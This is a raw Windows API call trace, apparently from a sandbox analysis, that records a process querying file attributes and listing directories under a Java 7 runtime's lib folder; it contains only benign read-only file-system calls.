	[0055.081] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidatypewriterbold.ttf"), fInfoLevelId=0x0, lpFileInformation=0x12444eb8 | out: lpFileInformation=0x12444eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39254)) returned 1
	[0055.082] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidatypewriterregular.ttf"), fInfoLevelId=0x0, lpFileInformation=0x12444f08 | out: lpFileInformation=0x12444f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c)) returned 1
	[0055.082] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386"), fInfoLevelId=0x0, lpFileInformation=0x12444f58 | out: lpFileInformation=0x12444f58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.082] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.083] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.083] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.083] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\jvm.cfg"), fInfoLevelId=0x0, lpFileInformation=0x12444ff8 | out: lpFileInformation=0x12444ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ae)) returned 1
	[0055.084] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images"), fInfoLevelId=0x0, lpFileInformation=0x12445048 | out: lpFileInformation=0x12445048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.084] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.084] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.084] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors"), fInfoLevelId=0x0, lpFileInformation=0x124450e8 | out: lpFileInformation=0x124450e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.084] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.086] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.087] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\cursors.properties"), fInfoLevelId=0x0, lpFileInformation=0x124453b8 | out: lpFileInformation=0x124453b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x500)) returned 1
	[0055.088] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\invalid32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x12445408 | out: lpFileInformation=0x12445408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1
	[0055.088] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copydrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x12445458 | out: lpFileInformation=0x12445458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa5)) returned 1
	[0055.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x124454a8 | out: lpFileInformation=0x124454a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1
	[0055.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x124454f8 | out: lpFileInformation=0x124454f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa8)) returned 1
	[0055.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x12445548 | out: lpFileInformation=0x12445548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1
	[0055.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movedrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x12445598 | out: lpFileInformation=0x12445598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x93)) returned 1
	[0055.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x124455e8 | out: lpFileInformation=0x124455e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1
	[0055.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javafx.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javafx.properties"), fInfoLevelId=0x0, lpFileInformation=0x12445638 | out: lpFileInformation=0x12445638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d)) returned 1
	[0055.092] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javaws.jar"), fInfoLevelId=0x0, lpFileInformation=0x12445688 | out: lpFileInformation=0x12445688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7532b480, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7532b480, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753515e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd9d17)) returned 1
	[0055.092] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jce.jar"), fInfoLevelId=0x0, lpFileInformation=0x124456d8 | out: lpFileInformation=0x124456d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1aa8c)) returned 1
	[0055.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr"), fInfoLevelId=0x0, lpFileInformation=0x12445728 | out: lpFileInformation=0x12445728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.100] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.100] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.100] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\default.jfc"), fInfoLevelId=0x0, lpFileInformation=0x12445818 | out: lpFileInformation=0x12445818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x488e)) returned 1
	[0055.100] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\profile.jfc"), fInfoLevelId=0x0, lpFileInformation=0x12445868 | out: lpFileInformation=0x12445868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4863)) returned 1
	[0055.101] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr.jar"), fInfoLevelId=0x0, lpFileInformation=0x124458b8 | out: lpFileInformation=0x124458b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8204f)) returned 1
	[0055.101] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfxrt.jar"), fInfoLevelId=0x0, lpFileInformation=0x12445908 | out: lpFileInformation=0x12445908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7540fcc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7540fcc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xce642c)) returned 1
	[0055.101] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jsse.jar"), fInfoLevelId=0x0, lpFileInformation=0x12445958 | out: lpFileInformation=0x12445958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7539d8a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7539d8a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753c3a00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x809cb)) returned 1
	[0055.104] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt"), fInfoLevelId=0x0, lpFileInformation=0x124459a8 | out: lpFileInformation=0x124459a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1082)) returned 1
	[0055.105] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\logging.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\logging.properties"), fInfoLevelId=0x0, lpFileInformation=0x124459f8 | out: lpFileInformation=0x124459f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x997)) returned 1
	[0055.105] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management"), fInfoLevelId=0x0, lpFileInformation=0x12445a48 | out: lpFileInformation=0x12445a48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.106] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.106] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.107] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.108] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.access" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.access"), fInfoLevelId=0x0, lpFileInformation=0x12445bd8 | out: lpFileInformation=0x12445bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf9e)) returned 1
	[0055.109] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.password.template"), fInfoLevelId=0x0, lpFileInformation=0x12445c28 | out: lpFileInformation=0x12445c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb28)) returned 1
	[0055.109] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\management.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\management.properties"), fInfoLevelId=0x0, lpFileInformation=0x12445c78 | out: lpFileInformation=0x12445c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3711)) returned 1
	[0055.110] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\snmp.acl.template"), fInfoLevelId=0x0, lpFileInformation=0x12445cc8 | out: lpFileInformation=0x12445cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd30)) returned 1
	[0055.110] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management-agent.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management-agent.jar"), fInfoLevelId=0x0, lpFileInformation=0x12445d18 | out: lpFileInformation=0x12445d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x181)) returned 1
	[0055.110] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\meta-index" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\meta-index"), fInfoLevelId=0x0, lpFileInformation=0x12445d68 | out: lpFileInformation=0x12445d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x88e)) returned 1
	[0055.110] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\net.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\net.properties"), fInfoLevelId=0x0, lpFileInformation=0x12445db8 | out: lpFileInformation=0x12445db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbfe)) returned 1
